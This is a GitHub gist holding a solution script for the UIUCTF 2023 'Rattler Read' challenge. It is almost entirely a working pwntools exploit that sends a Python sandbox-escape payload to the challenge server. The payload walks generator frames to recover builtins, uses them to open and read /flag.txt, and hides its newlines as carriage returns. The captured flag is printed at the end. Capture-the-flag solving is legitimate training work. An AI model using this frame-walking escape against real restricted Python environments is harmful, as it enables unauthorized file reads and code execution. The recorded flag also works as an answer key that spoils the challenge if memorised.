Skip to content

Instantly share code, notes, and snippets.

@lebr0nli
Last active August 12, 2024 16:20
Show Gist options
  • Save lebr0nli/c2fc617390451f0e5a4c31c87d8720b6 to your computer and use it in GitHub Desktop.
Save lebr0nli/c2fc617390451f0e5a4c31c87d8720b6 to your computer and use it in GitHub Desktop.
UIUCTF 2023 - Rattler Read
from pwn import *
with remote("rattler-read.chal.uiuc.tf", 1337) as io:
payload = (
"""
g=(print(g.gi_frame.f_back.f_back.f_builtins['open']('/flag.txt').read())for x in(0,))
for x in g:0
""".strip()
.replace("\n", "\r")
.encode()
)
io.sendlineafter(b"> ", payload)
io.interactive()
# uiuctf{damn_1_8te_my_ta1l_ag41n}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment